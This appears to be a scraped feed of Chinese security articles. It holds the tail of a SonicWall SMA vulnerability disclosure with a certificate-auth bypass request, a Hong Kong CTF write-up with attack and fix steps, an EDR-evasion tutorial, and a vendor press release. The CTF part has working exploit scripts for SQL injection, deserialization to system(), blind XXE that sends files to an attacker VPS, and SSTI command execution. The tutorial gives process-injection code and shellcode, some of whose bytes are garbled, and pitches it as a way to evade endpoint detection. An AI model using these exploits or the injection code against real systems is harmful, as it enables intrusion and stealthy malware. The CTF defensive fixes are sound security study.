    cJSON_AddItemToArray(uVar1,uVar3);
    local_2ac = local_2ac + 10;
    puVar10[8] = 0xd;
    puVar10[9] = 10;
    puVar10 = puVar10 + 10;
  } while (local_2ac != 0x50);
  uVar3 = dbhGet(1);
  iVar8 = userFindByUserNameAndDomainName(uVar3,param_1,param_2);

如上所示，srand被用来以当前时间初始化伪随机数生成器（PRNG），这显然是极其糟糕的做法，因为一旦攻击者能大致推测出响应生成的时间，就可以反推出对应的备份验证码（backup codes）。更糟糕的是，请求备份验证码的接口本身存在跨站请求伪造（CSRF）漏洞，也就是说，只要用户访问了恶意链接，这个请求就可能被自动触发，此时攻击者几乎可以精准地推断请求和响应的时间窗口，从而得知验证码内容。

作者还发现了另一个与MFA机制相关的问题，涉及设备在处理基于证书的认证方式时的逻辑。当该认证方式启用后，由Apache负责验证用户提供的证书，并通过环境变量将验证信息传递给后端的Flask API。这种做法本身存在风险，作者将在下文进一步说明其潜在的利用方式。

图注：证书数据处理方式的简单表示

负责在API中检索这些值的代码如下所示：

class Authenticate(Resource):
    """Authenticate the user"""
    post_reqparser = reqparse.RequestParser()
    post_reqparser.add_argument('userName',   type = str, default = '', help = 'The user name.')
    post_reqparser.add_argument('password',   type = str, default = '', help = 'The password.')
    post_reqparser.add_argument('domainName', type = str, default = '', help = 'The domain name is required.')
    post_reqparser.add_argument('portalName', type = str, default = '', help = 'The portal name.')
    post_reqparser.add_argument('deviceId',   type = str, default = '', help = 'The device id.')
    post_reqparser.add_argument('deivceType', type = str, default = '', help = 'The device type: activesync, outlook, or others.')
    post_reqparser.add_argument('deviceAuthorization',   type = str, default = '', help = 'The basic authentication string.')
    post_reqparser.add_argument('clientSupportPDA',      type = str, default = '', help = 'The client support PDA or not.')
    post_reqparser.add_argument('SSL_CLIENT_VERIFY', type = str, dest = 'sslClientVerify')
    post_reqparser.add_argument('SSL_CLIENT_S_DN', type = str, dest = 'subject')
    post_reqparser.add_argument('SSL_CLIENT_I_DN', type = str, dest = 'issuer')
    post_reqparser.add_argument('interactive', type = str, default = '', help = 'The login is interactive or not.')
    swagger_post_reqparser = copy.deepcopy(post_reqparser)
    if (API_UNIT_TEST_MODE == False):
        post_reqparser.add_argument('HTTP_USER_AGENT', type = str, required = True, dest = 'userAgent', location = 'environ')
        post_reqparser.add_argument('REMOTE_ADDR', type = str, required = True, dest = 'clientIpAddress')
        post_reqparser.add_argument('SERVER_ADDR', type = str, required = True, dest = 'serverIpAddress')
        post_reqparser.add_argument('SERVER_NAME', type = str, required = True, dest = 'hostName')
        post_reqparser.add_argument('HTTP_HOST', type = str, required = True, dest = 'host', location = 'environ')
        post_reqparser.add_argument('SSL_CLIENT_VERIFY', type = str, dest = 'sslClientVerify') # get the SSL_CLIENT_VERIFY value
        post_reqparser.add_argument('SSL_CLIENT_S_DN', type = str, dest = 'subject') # Get the subject DN
        post_reqparser.add_argument('SSL_CLIENT_I_DN', type = str, dest = 'issuer') # Get the issuer DN
        post_reqparser.add_argument('Portal-Name', type = str, default = '', dest = 'envPortalName')
        post_reqparser.add_argument('SERVER_PORT', type = str, required = True, dest = 'serverPort')

这里最大的问题是，由于Flask没有指定这些参数的来源（即环境变量），因此可以将它们作为POST登录请求中的参数发送，从而完全绕过证书验证过程。

POST /cgi-bin/userLogin HTTP/1.1
[...]
userName=test&password=password1234&domainName=LocalDomain&portalName=VirtualOffice&SSL_CLIENT_VERIFY=U1VDQ0VTUw==&SSL_CLIENT_S_DN=L0M9REsvTD1BYXJodXMvTz1mcm9nZ2VyL0NOPXRlc3Q=&SSL_CLIENT_I_DN=L0MlM2RESy9MJTNkQWFyaHVzL08lM2Rmcm9nZ2VyK0NBL0NOJTNkdGhlaGVhdC5kaw==

在该请求中，U1VDQ0VTUw==只是字符串"SUCCESS"的Base64编码结果。

八、漏洞报告与修复进展

在发现上述漏洞后，作者于2024年10月16日向SonicWall正式提交了问题报告。厂商在大约6周内完成了漏洞修复。

SonicWall对本次漏洞报告表示感谢，并分配了以下CVE编号及对应的风险等级：

CVE-2024-40763—堆缓冲区溢出漏洞—风险等级：高（8.1）
CVE-2024-45318—堆栈缓冲区溢出漏洞—风险等级：高（8.1）
CVE-2024-45319—基于证书的身份验证绕过—风险等级：中（6.3）
CVE-2024-53702—不安全的随机性问题—风险等级：中（5.3）
CVE-2024-53703—Apache模块基于堆栈的缓冲区溢出漏洞—风险等级：高（8.1）

阅读原文

跳转微信打开

香港網絡攻防精英培訓暨攻防大賽 2025 初賽/決賽WP

Tue, 05 Aug 2025 15:26:00 +0800

原创 NEURON 2025-08-05 15:26 北京

磨礪攻防利刃·築牢數字防線

初賽

（一）

issql

攻擊

經過測試，ms參數存在SQL注入，並且可以使用聯合注入的方式

通過元數據庫將表名注入出來，發現名為flag的表

繼續獲取列名

表名和列名均為flag，因此可以直接select flag from flag獲取flag內容

防禦

掃描發現 /html.zip

"http://www.w3.org/1999/xhtml">


 
  "text/html;charset=utf-8">
  "description" content="Test">
  "author" content="MRYE+">
  电脑信息查询 - 网络安全工作室
  "stylesheet" type="text/css" href="./css/ctf.css" /> 
    


class="container">
  <divid="search">
    <labelfor="search">输入以1、2、3显示电脑信息label>
 <formid="myForm" action="" method="post">
    <inputtype="text" id="ms" name="ms"maxlength="1">
    <inputclass="button" type="submit" value="Search">
 form>
php
//禁用错误报告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
require_once './suxinctf.php';
if(isset($_POST["ms"]))
{
 $ID = $_POST["ms"];
#echo $ID;
 $query = "select * from goods where id='{$ID}'";//构建查询语句
 $result = mysql_query($query);//执行查询
if (!$result) {
die("could not to the database\n" . mysql_error());
 }
if (mysql_numrows($result)<=0) {
echo"";
 }else{
while($result_row=mysql_fetch_row(($result)))//取出结果并显示
 {
  $ms=$result_row[0];
  $gname=$result_row[1];
  $gprice=$result_row[2];
  $gnum=$result_row[3];
echo"电脑编号为：".$ms."   ";;
echo"电脑系统为：".$gname."  ";
echo"电脑价格为：".$gprice."  ";
echo"电脑数量为：".$gnum."  ";
}
}
}
 $query = "select * from goods ";//构建查询语句
 $result = mysql_query($query);//执行查询
if (!$result) {
die("could not to the database\n" . mysql_error());
 }
if (mysql_numrows($result)<=0) {
echo"";
 }else{
while($result_row=mysql_fetch_row(($result)))//取出结果并显示
 {
  $ms=$result_row[0];
  $gname=$result_row[1];
 }
mysql_close($connection);//关闭连接
}
?>

給 ms 參數加上 intval ，將傳入的ID參數轉為int類型即可

（二）

break

攻擊

給出源碼，發現使用了DirectoryIterator，可以利用glob協議來逐字fuzz文件名字

  
error_reporting(E_ALL);
ini_set('display_errors','1');
#important php in path:/var/www/html and php File names have 16 characters
if (isset($_GET['path']))  
{ 
    $Input_data = $_GET['path'];
    $it=new DirectoryIterator($Input_data);
    foreach($it as $f)
    {
        $path=$f->getFilename();
        if(file_exists($path))
        {
            echo"yes,it exists";
        }
        else
        {
            echo"too naive!";
        }
    }
}   
else
{ 
    highlight_file(__file__); 
} 
?>

使用以下exp可以獲取到

import string
import requests
url = "http://210.3.214.150:52003/"
def is_file(p):
    param = {"path": p}
    r = requests.get(url, params=param)
    if'yes,it exists' in r.text:
        returnTrue
    returnFalse
ans = "glob:///var/www/html/"
for i in range(18):
    for j in string.printable:
        if is_file(ans + j + "*"):
            ans = ans + j
            print(ans)
            break

獲得 d80054c739859dfe.php

防禦

index.php 过滤path中存在glob關鍵字則禁止
d80054c739859dfe.php把cmd長度限制12，修改為3，發現可以修復成功

（三）

ez_upload

攻擊

黑名單上傳過濾繞過，使用.htaccess 配置

先上傳一個任意擴展名的文件

再傳.htaccess ，將目錄下所有的文件都解析為php進行處理

防禦

從黑名單機制改為百名單機制，嚴格過濾，只允許圖片上傳

（四）

submit

攻击

上傳過濾內容但是php支持

防禦

將內容過濾<?php改為 <? 即可

（五）

MD5

攻擊

利用數組計算md5結果為空繞過

修復

判斷md5把 \=\= 改為 \=\=\= 在第三行if加一個條件 && is\_string(\$\_GET['a'])

（六）

company

攻擊

通過目錄掃描發現admin.php
爆破出密碼admin/admin123

head沒過濾，執行命令有過濾，不過head命令沒過濾，直接讀取

修復

(head -999 admin.php)看源碼，然後改為如下：

（七）

ezphp

攻擊

目錄掃描，html.zip可以獲得源碼


    include "utils/function.php";
    $config = include "utils/config.php";
    $user_xml_format = "
                        
                            
                                %s
                                %s
                            
                        ";
    extract($_REQUEST);
    if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
    if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :(");
    if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD");
    $user_xml = sprintf($user_xml_format, $username, $password);
    register_user($username, $config['user_info_dir'], $user_xml);

可以變量覆蓋user_xml_format進行XXE攻擊，但是此處不回顯。再看login.php


    include "utils/function.php";
    $config = include  "utils/config.php";
    $username = $_REQUEST['username'];
    $password = $_REQUEST['password'];
    if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
    if(!is_user_exists($username, $config["user_info_dir"])) die("Username error");
    $user_record = get_user_record($username, $config['user_info_dir']);
    if($user_record->user->password != $password) die("Password error for User:".$user_record->user->username);
    header("Location:main.html");

用戶名會在輸入密碼錯誤時回顯，exp

import requests
url = "http://210.3.214.150:53585/register.php?username=000&password=121"
def xmlinj(xml):
    print(requests.post(url, data={"user_xml_format": xml}).text)
payload = ''' 


]> 

    
        &xxe;
        777
    
'''
xmlinj(payload)

使用000用戶和錯誤密碼登錄時顯示flag

修復

extract($_REQUEST); 放到user_xml_format賦值之前，或者username password使用

    $username = $_REQUEST['username'];
    $password = $_REQUEST['password'];

進行接收並去除extract($_REQUEST);

（八）

happy

攻擊

反序列化漏洞，使用以下exp構造鏈子即可

class hahaha
{
    public $cmd;
    public $content;
    publicfunction __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }
    publicfunction __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }
}class Nevv
{
    public $happiness;
    publicfunction __invoke()
    {
        return$this->happiness->check();
    }
}class Rabbit
{
    public $aspiration;
    publicfunction __set($name, $val)
    {
        echo'__set';
        return$this->aspiration->family;
    }
}class Year
{
    public $key;
    public $rabbit;
    publicfunction __construct($key)
    {
        $this->key = $key;
    }
    publicfunction firecrackers()
    {
        return$this->rabbit->wish = "allkill QAQ";
    }
    publicfunction __get($name)
    {
        $name = $this->rabbit;
        $name();
    }
    publicfunction __destruct()
    {
        if ($this->key == "come on") {
            $this->firecrackers();
        } else {
            print ("Welcome 2025!!!!!");
        }
    }
}
$hh = new hahaha('system', 'cat /flag');
$nn = new Nevv();
$nn -> happiness = $hh;
$yeah = new Year("come on");
$yeah -> rabbit = $nn;
$n = new Rabbit();
$n->aspiration = $yeah;
$yeah1 = new Year("come on");
$yeah1 -> rabbit = $n;
echo urlencode(serialize($yeah1));
?>

防禦

去掉序列化入口unserialize()

（九）

XXE

攻擊

沒有回顯的XXE，使用http外帶

1. 在vps啟動一個http服務並將test.dtd放在目錄下

"php://filter/convert.base64-encode/resource=/var/www/html/index.php">
"http://vps IP:8188/?file=%aaaa;'>">
%demo;

python3 -m http.server 8188

2. 再使用exp攻擊

import requests
url = "http://210.3.214.150:57272/"
def xmlinj(xml):
    print(requests.post(url, data={"xml": xml, "submit": "提交"}).text)
payload = '''


    %xd;
]>
&bbbb;'''
xmlinj(payload)

在http訪問日誌中看到flag

防禦

把 system加到黑名單


header("Content-Type: text/html;charset=utf-8");
header("Hint: XXE");
$html = '';
if (isset($_POST['submit']) && $_POST['xml'] !== null) {
    $xml = $_POST['xml'];
    $forbidden_protocols = ['SYSTEM', 'system', 'file://', 'http://', 'https://', 'ftp://', 'gopher://', 'dict://'];
    $has_forbidden_protocol = false;
    foreach ($forbidden_protocols as $protocol) {
        if (strpos($xml, $protocol) !== false) {
            $has_forbidden_protocol = true;
            break;
        }
    }
    if ($has_forbidden_protocol) {
        $html .= "不允许使用该协议！
";
    } else {
        $data = @simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
        if ($data) {
            $html .= "{$data}
";
        } else {
            $html .= "尽情的注入吧
";
        }
    }
}
?>
"post">
    请输入查询 ID:
    "text" name="xml" />
    "submit" name="submit" value="提交">

echo $html; ?>

（十）

crackme

攻擊

過濾了一些內容，簡單繞過即可

import base64
import requests
url = "http://210.3.214.150:59434/?crack=flag"
flag = base64.b64encode("/flag".encode()).decode("ascii")
data = {"hk": f"readfile(base64_decode('{flag}'));", "flag": "///////Give_me_flag"}
print(requests.post(url, data=data).text)

防禦

刪除代碼執行部分或者修改接收代碼的參數名即可

sed -i 's/hk/kh/g' /var/www/html/index.php

（十一）

evilecho

攻擊

存在代碼注入，使用以下payload完成攻擊

/index.php?file=eason.jpg'.system('cat /flag').'

防禦

把參數裡面的單引號去掉


echo "Tips: eval & echo = ?
";
$hostHeader = $_SERVER['HTTP_HOST'];
list($hostname, $port) = explode(':', $hostHeader);
$image = isset($_GET["file"]) ? "./images/" . $_GET["file"] : "";
if ($image == "") {
    header("Location: " . "http://$hostname:$port" . "/index.php?file=eason.jpg");
}
$image = str_replace("'", "", $image);
$file = "echo ' . $image . "\" width=200px height=auto>';";
if (in_array(strtolower($image), array("cat", " ", "flag", "docker", "shell_exec", "exec", "popen"))) {
    exit("Hacker!!!");
}
eval ($file);
?>

（十二）

SSRF

攻擊

存在SSRF，但是有過濾，使用url編碼繞過

GET /index.php?url=file:///fla%2567 HTTP/1.1
Host: 210.3.214.150:59701
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

防禦

過濾前解碼URL


$url = isset($_GET["url"]) ? urldecode($_GET["url"]) : "";
if ($url == "") {
    header("location: index.php?url=http://www.baidu.com");
}
$black_list = ["gopher" , "localhost", "0.0.0.0", "file", "flag", "../", "127.", "192.", "168.", "172.", "10."];
foreach ($black_list as $keyword) {
    if (strpos($url, $keyword) !== false) {
        exit("hacker!");
    }
}
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_URL, $url);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curlobj);
echo $result;
?>

決賽

（一）

cover

攻擊

存在目錄穿越漏洞

修復

加入判斷，存在..則阻止運行

（二）

SSTI

攻擊

利用config存儲對象來繞過長度限制，利用字符串拼接繞過字符串長度限制，依次運行以下payload即可執行命令

import requests
url = "http://210.3.214.150:44439/login"
payload = '''{%set x=config.update(a=config.update)%}'''
payload = '''{%set x=config.a(b=''.__class__)%}'''
payload = '''{%set x=config.a(c=config.b.__mro__[1])%}'''
payload = '''{%set x=config.a(d=config.c.__subclasses__())%}'''
payload = '''{%set x=config.a(e=config.d[137])%}'''
payload = '''{%set x=config.a(f=config.e.__init__)%}'''
payload = '''{%set x=config.a(p='__glob'+'als__')%}'''
payload = '''{%set x=config.a(g=config.f|attr(config.p))%}'''
payload = '''{%set x=config.a(h=config.g['pop'+'en'])%}'''
payload = '''{{config.h("ps -ef").read()}}'''
print(requests.post(url, data={"username": payload}).text)

防禦

在黑名單列表中加入 { 符號，完全禁止ssti

（三）

nospring

攻擊

外賣系統使用test/123456可以登錄後台，在日誌下載處存在任意文件下載漏洞，但是過濾了proc，沒法直接獲取jar位置，使用後台各種功能功能後發現日誌中有報錯信息，jar文件位置被報錯信息洩露，然後讀取既可獲取jar包。

修復

在過濾中增加 .. 即可防止任意文件讀取，然後發現修復成功

阅读原文

跳转微信打开

无线程Shellcode注入：突破EDR检测的隐匿技术

Mon, 21 Jul 2025 18:15:00 +0800

原创 ixin 2025-07-21 18:15 北京

如何在不触发EDR告警的情况下，将恶意代码注入目标进程？无线程Shellcode注入技术给出了答案。

在网络安全的攻防博弈中，随着传统进程注入技术逐渐被EDR（终端检测与响应）工具所拦截，攻击者必须寻找新的方法来实现无痕入侵。本文将深入探讨一种名为无线程Shellcode注入的技术[1]，这种技术能够在完全防护的Windows 11 23H2 x64系统中，无需创建新线程即可完成第三方进程注入，从而绕过EDR的检测。

一、传统Shellcode注入技术的检测特征分析

标准进程注入操作构成完整IoC链，各环节均受EDR内核监控：

1.进程访问阶段

用户态API：OpenProcess(PROCESS_ALL_ACCESS)
内核态系统调用：NtOpenProcess的DesiredAccess参数检测
EDR Hook点：ObRegisterCallbacks进程句柄过滤

2.内存操作阶段

显式分配：VirtualAllocEx(MEM_COMMIT|MEM_RESERVE)
内存映射：NtMapViewOfSection的SEC_IMAGE属性欺骗检测
ETW事件：Microsoft-Windows-Threat-Intelligence的 MemoryAllocation事件

3.代码写入阶段

直接写入：WriteProcessMemory触发的CR3切换监控
间接写入：基于NtWriteVirtualMemory的Copy-on-Write检测

4.执行触发阶段

线程创建：CreateRemoteThread的线程起始地址白名单校验
APC注入：NtQueueApcThread的KAPC_STATE结构体分析
内核回调：PsSetCreateThreadNotifyRoutine

该操作序列已被EDR深度固化检测，一旦触发，立即判定为恶意行为并终止进程。

二、核心问题

能否在不直接调用敏感WinAPI的情况下实现相同功能？前三个步骤（进程访问、内存操作、代码写入）存在替代方案，但在执行阶段中如果存在（CreateRemoteThread/NtQueueApcThread）必然触发EDR告警。

三、核心技术方案：动态库函数劫持构建隐蔽通信通道

技术目标：通过合法进程网络函数实现无文件化隐蔽通信。

（一）目标函数筛选

协议层：

传输层：socket()（连接创建）、sendto()（UDP数据）。
应用层：WinHttpSendRequest()（HTTP请求）、业务函数（如UpdateCheck()）。

关键条件：低频稳定调用（如分钟级心跳检测）、参数可安全修改（如URL重定向）。

（二）函数劫持实现

内联钩子（Inline Hook）：

补丁函数入口前5字节为jmp指令，指向内存中Shellcode。
Trampoline跳板保存原指令，确保注入后恢复原函数执行流程。

（三）隐蔽通信机制

协议伪装：攻击数据嵌入HTTP头、DNS查询等合法流量。
规避检测：

用户态DLL优先（如ws2_32.dll），避免内核态风险。
反射式注入（无磁盘文件）+动态Hook地址变更，绕过EDR扫描。

技术链路：逆向定位函数→Hook注入代码→利用原生通道传输数据→模拟合法流量特征。

该技术的实现包含以下步骤：

1.定位可执行内存段：在目标进程地址空间中搜索满足Shellcode及跳板指令部署要求的连续内存区域

2.写入代码：将shellcode和trampoline入该内存区域；

3.补丁修改导出函数：修改动态链接库（DLL）的导出函数，使其执行我们的代码；

4.等待函数调用触发执行：等待目标函数被调用，从而触发shellcode运行。

但动态库可能包含成千上万个函数，随机选择的函数可能并不适用谁都不能保证它会在合理时间内被调用。

解决思路：需要深入分析目标软件，从中筛选出可拦截的导出函数。理想情况下，应选择定期调用特定DLL函数的应用程序（例如：磁盘临时访问文件并写入中间结果时，或按固定间隔调用相关API检查服务器可用性时）。若找到此类函数，就能确保在确定的调用周期内触发。

注意事项：高频函数劫持警告：避免拦截调用频率＞1Hz的函数，易引发进程崩溃或性能异常。

研究工具推荐：可使用API Monitor.进行分析。该工具能够实时显示WinAPI的调用情况，以及测试程序中哪些操作会触发这些调用。此外，还能查看附加到进程的DLL及其实现的API（而非仅显示来源不明的WinAPI列表）。基于监控数据可判断动态库导出函数中哪些适合拦截，并作为目标函数。

API Monitor：一旦完成对目标测试程序的逆向分析并精准定位所需的WinAPI接口，即可进入编码实现阶段。

四、编程实现

让我们通过代码实现无线程注入（Threadless Injection）所需的每个步骤。

（一）通过进程名称获取目标进程句柄

HANDLE hProc = NULL;                  
LPCWSTR ps_name;                      
DWORD *procID;                        
PROCESSENTRY32 pe32;                  
pe32.dwSize = sizeof(PROCESSENTRY32); 
// 创建进程快照
HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!process_snap) return NULL;       
// 遍历进程列表
if (Process32First(process_snap, &pe32)) {
    do {
        if (_wcsicmp(pe32.szExeFile, ps_name) == 0) {
            *procID = pe32.th32ProcessID;  
            
            // 打开进程（请求全部权限）
            hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *procID);
            if (!hProc) continue;          
            return hProc;                  
        }
    } while (Process32Next(process_snap, &pe32)); 
}

（二）加载目标动态库并获取API地址

接下来，你需要加载目标动态库（其导出函数包含你需要的API），并获取该 API函数的地址。例如，如果你想拦截网络通信，可以加载kernelbase.dll。

// 尝试获取kernelbase.dll的模块句柄（宽字符版本，适用于Unicode环境）
HMODULE hModule = GetModuleHandleW(L"kernelbase.dll"); 
// 若模块未加载（句柄为NULL），则显式加载该DLL到当前进程地址空间
if (hModule == NULL) 
    hModule = LoadLibraryW(L"kernelbase.dll");

需要获取目标DLL中API函数的内存地址

// 获取已加载的kernelbase.dll模块句柄
HMODULE hModule = GetModuleHandleW(L"kernelbase.dll"); 
if (hModule == NULL) 
    hModule = LoadLibraryW(L"kernelbase.dll");

内存空间探测（定位可执行代码注入区）

// 存储找到的可用内存地址
UINT_PTR  addr_of_codecave;    
uint64_t function_addr;        
BOOL gotchaCave;               
// 以目标函数为中心，向两侧扩展搜索（±1.8GB范围）
for (addr_of_codecave = (function_addr & 0xFFFFFFFFFFF70000) - 0x70000000;
     addr_of_codecave < function_addr + 0x70000000;
     addr_of_codecave += 0x10000)  
{
    LPVOID lpAddr = VirtualAllocEx(hProc,
                                   addr_of_codecave,
                                   size,
                                   MEM_COMMIT | MEM_RESERVE,  
                                   PAGE_EXECUTE_READWRITE);   
    
    if (lpAddr == NULL) continue;
    
    // 成功分配内存，记录地址并终止搜索
    gotchaCave = TRUE;
    break;
}
// 返回找到的可用内存地址（失败返回NULL）
if (gotchaCave == TRUE) return addr_of_codecave;

五、Trampoline与Payload的处理

为清晰起见，我们将Trampoline和Payload分开定义。我们使用Payload调出计算器进行测试，Trampoline负责平衡堆栈、保存/恢复寄存器，并在调用Payload后恢复原函数执行流程。

unsigned char tramp_to_shellcode[] = {
    // 执行流劫持准备
    0x58,0x48, 0x83, 0xE8, 0x05, 
    
    // 寄存器保存区
    0x50,0x51,0x52,   
    0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53, 
    // Shellcode加载段
    0x48, 0xB9,0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 
    0x48, 0x89, 0x08, 
    
    // 执行环境配置
    0x48, 0x83, 0xEC, 0x40, 
    0xE8, 0x11, 0x00, 0x00, 0x00, 
    
    // 执行流恢复
    0x48, 0x83, 0xC4, 0x40,
    0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 
    0x5A, 0x59, 0x58, 
    0xFF, 0xE0, 
    0x90
};
unsignedchar shellcode[] = {
        // 保存寄存器状态 (RBX, RSI, RDI, RBP, RSP, RAX)
        0x53, 0x56, 0x57, 0x55, 0x54, 0x58,
        // 栈对齐调整 (16字节边界)
        0x66, 0x83, 0xE4, 0xF0, 
        // 准备调用参数 ("calc")
        0x50, 0x6A, 0x60, 0x5A, 
        0x68, 0x63, 0x61, 0x6C, 0x63, 
        // PEB/TEB遍历开始
        0x54, 0x59, 0x48, 0x29, 0xD4,
        0x65, 0x48, 0x8B, 0x32,       
        0x48, 0x8B, 0x76, 0x18,      
        0x48, 0x8B, 0x76, 0x10,      
        // 导出表解析循环
        0x48, 0xAD,                  
        0x48, 0x8B, 0x30,            
        0x48, 0x8B, 0x7E, 0x30,      
        0x03, 0x57, 0x3C,           
        // 函数哈希比对
        0x8B, 0x5C, 0x17, 0x28,      
        0x8B, 0x74, 0x1x, 0x20,       
        0x48, 0x01, 0xFE, 
        0x8B, 0x54, 0x1F, 0x24,       
        0x0F, 0xB7, 0x2C, 0x1x,      
        // WinExec调用准备
        0x8D, 0x52, 0x02, 
        0xAD, 
        0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45,  
        0x7x, 0xEF,                 
        // 调用执行
        0x8B, 0x74, 0x1F, 0x1C,      
        0x48, 0x01, 0xFE, 
        0x8B, 0x34, 0xAE,             
        0x4x, 0x01, 0xF7,             
        0x99, 0xFF, 0xD7,            
        // 恢复现场
        0x48, 0x83, 0xC4, 0x68,       
        0x5C, 0x5D, 0x5x, 0x5E, 0x5B, 
        0xC3                          
};

读取DLL导出函数的起始部分并利用获取的数据配置Trampoline

int64_t originalBytes = *(int64_t*)dll_export_fun_addr; 
// 将原函数前8字节指令写入跳板代码偏移0x12处（预留空间需为全零）
*(uint64_t*)(tramp_to_shellcode + 0x12) = originalBytes;

配置内存并授予PAGE_EXECUTE_READWRITE权限以设置Hook：

DWORD saveProtectFlags = 0;
// 修改目标函数所在内存页的保护属性为可执行+读写（8字节范围）
if (!VirtualProtectEx(hProc, dll_export_fun_addr, 8, PAGE_EXECUTE_READWRITE, &saveProtectFlags)) 
    return 1;

在被攻击库导出的函数中创建hook并调用然后对其进行配置：

// Call function opcode（函数调用操作码）
unsigned char call_opcode_to_shell[] = { 0xe8, 0, 0, 0, 0 };
// 计算相对调用地址（目标地址 - 当前指令地址 - 指令长度）
int call_addr = (remoteAddress - ((UINT_PTR)dll_export_fun_addr + 5));
// 配置call指令的操作数（相对偏移量）
*(int*)(call_opcode_to_shell + 1) = call_addr;

写入Trampoline和Payload，然后更改目标内存属性：

首先设置为PAGE_EXECUTE_READWRITE（可执行、读、写）完成后把PAGE_EXECUTE_READ恢复为（可执行、读）。

VirtualProtectEx(hProc,
            call_opcode_to_shell,
            sizeof(call_opcode_to_shell),
            PAGE_EXECUTE_READWRITE,
            NULL);
    if (!WriteProcessMemory(hProc,
            dll_export_fun_addr,
            call_opcode_to_shell,
            sizeof(call_opcode_to_shell),
            &numOfWrittenBytes))
    return 1;
    unsignedchar mypayload[sizeof(tramp_to_shellcode) + sizeof(shellcode)];
// 在这两个循环中，创建一个同时包含shellcode和Trampoline的大payload
    for (size_t x = 0; x < sizeof(tramp_to_shellcode); ++x)
        mypayload[i] = tramp_to_shellcode[i];
    for (size_t x = 0; x < sizeof(shellcode); ++x)
        mypayload[sizeof(shellcode) + i] = shellcode[i];
// 修改内存访问标志以启用写入权限
    if (!VirtualProtectEx(hProc,
            remoteAddress,
            sizeof(mypayload),
            PAGE_READWRITE,
            &saveProtectFlags))
    return 1;
// 写入payload
    if (!WriteProcessMemory(hProc,
            remoteAddress,
            mypayload,
            sizeof(mypayload),
            &numOfWrittenBytes))
    return 1;
// 恢复内存访问权限
    if (!VirtualProtectEx(hProc,
            remoteAddress,
            sizeof(mypayload),
            PAGE_EXECUTE_READ,
            &saveProtectFlags))
    return 1;

当前阶段的主要任务为等待应用程序触发对已修补函数的调用。经分析，被修改的API已通过API Monitor验证存在周期性触发逻辑，因此预计在较短时间内可观察到预期执行效果。

六、结论

以上便是无线程注入技术的核心原理解析——该技术无需显式调用线程创建函数即可完成代码注入。实现突破了传统注入方法的固有范式，为规避安全检测并维持持久化操作提供了新路径。

需要明确的是，上述代码仅为概念验证模板，若要实现真正意义上的隐蔽性，仍需在内存管理、代码混淆、通信机制等维度进行深度优化。无线程注入技术无法作为单一的全场景解决方案，无法单凭自身实现完全的攻击隐蔽性。从红队作战的专业视角出发，唯有将注入技术与API调用欺骗、代码虚拟化、流量加密等多重技术手段进行体系化组合，才能构建具备实战威慑力的攻击链条。

网络安全对抗本质上是技术纵深与攻防智慧的博弈，愿以上内容为您在复杂的攻击场景中提供有效参考。

[2]https://hackmag.com/security/pentest-howto

[3]https://hackmag.com/security/ethernet-abyss

[4]https://hackmag.com/security/gateway-bleeding

[5]https://hackmag.com/security/aguard-cve

[6]https://hackmag.com/security/routing-nightmare

现阶段，山石网科掌握30项自主研发核心技术，申请560多项国内外专利。山石网科于2019年起，积极布局信创领域，致力于推动国内信息技术创新，并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发，旨在通过自主创新，为用户提供更高效、更安全的网络安全保障。目前，山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、安全服务、安全教育等九大类产品服务，50余个行业和场景的完整解决方案。

阅读原文

跳转微信打开

首批！山石网科入选国家“云上大模型安全推进方阵”成员单位名单

Thu, 17 Jul 2025 11:30:00 +0800

山石网科 2025-07-17 11:30 北京

权威认可

权威认可
近日，在全球数字经济大会——云智算安全论坛暨第三届“SecGo论坛”上，中国信息通信研究院（以下简称“中国信通院”）正式公布“云上大模型安全推进方阵”首批成员单位名单。山石网科凭借在人工智能安全领域深厚的技术积累和卓越实力，以及在云安全防护体系构建与大模型全生命周期安全防护方面的领先实践，成功入选。

“云上大模型安全推进方阵”由中国信通院于今年3月牵头成立，旨在应对人工智能时代，特别是大模型技术迅猛发展带来的新型安全风险。该方阵聚焦云上大模型安全趋势研究、标准体系完善、最佳实践探索及产业生态协同四大核心方向，致力于构建强大的云上大模型安全能力体系，提升我国大模型应用的整体安全水平。

作为网络安全产业方阵的首批成员单位，山石网科将积极参与其标准制定和最佳实践推广，致力于为客户提供定制化安全策略。山石网科的云安全服务，可以提供全面的数据安全防护和虚拟化安全能力，可有效抵御云上大模型的恶意攻击和数据隐私窃取风险。同时，大模型安全服务涵盖训练数据安全、大模型环境安全和提示词安全测试等。山石网科将依托在云安全、大模型安全服务、内容安全、威胁情报、攻防对抗等领域的多年实战经验和技术优势，与方阵成员及产业伙伴紧密协作，共同探索和建立适应大模型特性的下一代安全框架与保障体系。
此次入选既是荣誉，更是推动行业安全发展的使命。山石网科将持续践行“双A战略”（ASIC+AI），依托技术优势参与制定统一安全标准，共同筑牢我国大模型技术安全、可靠、可控发展的基石，为数字经济的繁荣与稳定贡献坚实的安全力量。

